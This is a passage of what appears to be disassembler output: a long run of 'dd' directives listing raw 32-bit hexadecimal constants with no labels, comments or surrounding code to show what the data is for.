0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h, 46BDE22Bh dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h, 3156D4C0h dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h, 8C6B80FEh dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h, 48D28119h dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h, 98F2E827h dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h dd 5361C6CEh, 54DC0E1h, 0D1970AB1h, 0DA7CB64Eh, 99912CF6h dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh, 0D72C3916h dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h, 576CD3B7h dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh, 0D430C5F2h dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h, 0D335161h dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh, 8FEAAC0h dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh, 0E23530EFh dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh, 0BE2EE3ABh dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h, 800A4BD8h dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h, 0FD1322F6h dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h, 4CF833C6h dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h, 0F7F889FDh dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh, 509A1D2h dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h, 0BDED288Ah dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh, 2BF66227h dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h, 28E96FEEh dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h, 0D792946Bh dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h, 34AAE4E8h dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h, 1F81F8FBh dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh, 802E0D1Eh dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh, 2400B931h dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch, 5D2AA630h dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h, 357FA457h dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h, 0DBC96B9Ah dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh, 1E209143h dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh, 0AC89623Ah dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h dd 9C2D469Fh, 0A04E826Fh dd 3A52CFC6h, 94607C4h, 147F4EE3h, 4BCA76DBh, 0DA7B7EB6h dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h, 0A8AD8FE4h dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h, 0F837C9A5h dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h, 19241546h dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h, 9E56E62h dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh, 75E673D5h dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh, 7A8F9AA9h dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch, 138CDF20h dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h, 34910D8h dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h, 47633444h dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah, 5982464Bh dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h, 0DEF5CCDAh dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh, 25683160h dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h, 6C920B4Ch dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh dd 3ABC6E7h, 9A2EEB40h, 4CE9AB43h, 75B246C8h, 0F256D040h dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h, 0AE39B8B1h dd 398AD5h, 0A8450ED6h, 0FCB6E727h, 13D7443Fh, 6FE9C44Eh dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h, 846B659Ah dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h, 0B59CB50Eh dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h, 7B2684DDh dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h, 950ED504h dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h, 16103009h dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h, 0FDAAB97Ch dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh, 0B01D3873h dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h, 264321E5h dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h dd 2F2DA187h, 368222Bh, 43382D64h, 334D22F4h, 9E5553DFh dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h, 0CCF97475h dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h dd 0ADD04A47h, 4808BFh, 0C662DFE6h, 73A5BDFEh, 124547F3h dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh, 0DF562963h dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah, 0C36A9EF0h dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h, 0FDD29983h dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh, 4950DF70h dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh, 4E7CFEC6h dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h, 12D0AAE4h dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah, 0C40BA461h dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h dd 855680DEh, 1B76423h, 0BD852D5Ch, 0F15777F4h, 9F260EDCh dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh, 3D246E60h dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah, 0E2E0309Ch dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh, 3E370E68h dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h, 0F3DBA6Bh dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h dd 8291858h, 2AEDAA06h, 2949E561h, 245D095Ah, 0A554D48Dh dd 282909B8h, 0C1988587h dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h, 69D9AA62h dd 32B76A6h, 32D38E49h, 9E0DFF71h, 62A43AD3h, 17F4098Eh dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh, 3EE8277Dh dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h, 0F1B5F965h dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h, 4F565205h dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h, 88C4ECDAh dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h, 5273468Fh dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh, 0FDA20F88h dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h, 2CCE9776h dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h, 9C294C51h dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh, 219B7835h dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h, 0ED8D70BEh dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h, 0B14E25E8h dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h, 0E1C60AD3h dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h, 5CE12E8Fh dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh, 53E858C4h dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh, 0EA32C238h dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h, 0E33F0429h dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh, 554534FFh dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h, 426F74B1h dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh, 4A8F55EDh dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h, 6BC88A2Bh dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h, 0AA42F5B1h dd 862CCB08h, 83EC73Bh, 0C83118D4h, 0D8FF2841h, 0AB099381h dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh, 3C32C15Eh dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h, 2FE98CA8h dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h, 0F6D81F8Bh dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh, 0CBCA6A83h dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h, 6D2CB4BCh dd 6CF2AF0h, 3E32541Ch, 9CC77AE7h, 77283958h, 0F28EBAE3h dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h dd 49B2BB8h, 1E582B81h, 36D9DE3Bh, 94B078EDh, 0AE8B4C09h dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h, 1EF6BC89h dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h, 0F7E0AA94h dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh, 210EB568h dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh dd 0A58E5F17h, 93B58B67h dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h, 3C0F969Eh dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h, 988D52CBh dd 4259A72Ch, 64A75C9h, 0D0142981h, 1DC2C148h, 0A0532745h dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h, 1FA316CCh dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh, 13DE9A23h dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh, 0EB442818h dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h, 26E8D9F3h dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h, 3509B03Fh dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch, 8551E844h dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h, 2DE5161Bh dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh, 25A24317h dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh, 73F45DBBh dd 9A1776F0h, 7F88F8Eh, 19642D6Fh, 0A9019293h, 0E279860Ch 